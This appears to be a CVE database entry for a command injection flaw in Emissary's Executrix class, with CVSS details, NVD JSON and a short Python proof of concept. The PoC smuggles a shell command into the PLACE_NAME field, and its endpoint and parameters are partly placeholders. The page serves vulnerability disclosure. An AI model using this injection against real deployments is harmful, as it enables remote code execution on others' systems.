CVE-2026-35581

Description

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:* - VULNERABLE

Emissary < 8.39.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-35581 (Emissary Command Injection)
# This demonstrates how a malicious PLACE_NAME can lead to RCE.

import requests

# Target URL (example)
target = "http://localhost:8080/emissary/executrix"

# The application replaces spaces with underscores.
# We use semicolons to separate commands in the shell.
# Payload: Create a file named 'pwned' in /tmp/
malicious_place_name = "validPlace;_touch_/tmp/pwned;_#"

# Data payload to be sent
data = {
    "PLACE_NAME": malicious_place_name,
    # Other necessary configuration parameters...
}

try:
    print(f"[+] Sending payload to {target}")
    response = requests.post(target, data=data)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[*] Check if /tmp/pwned exists on the target system to verify exploitation.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35581
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35581
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35581/
[4] VulDB https://vuldb.com/cve/CVE-2026-35581
[5] https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35581", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:33.493", "lastModified": "2026-04-16T18:00:24.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.38.0", "matchCriteriaId": "9EC86D6D-EB58-4DE4-B88C-C562B33281A0"}]}]}], "references": [{"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}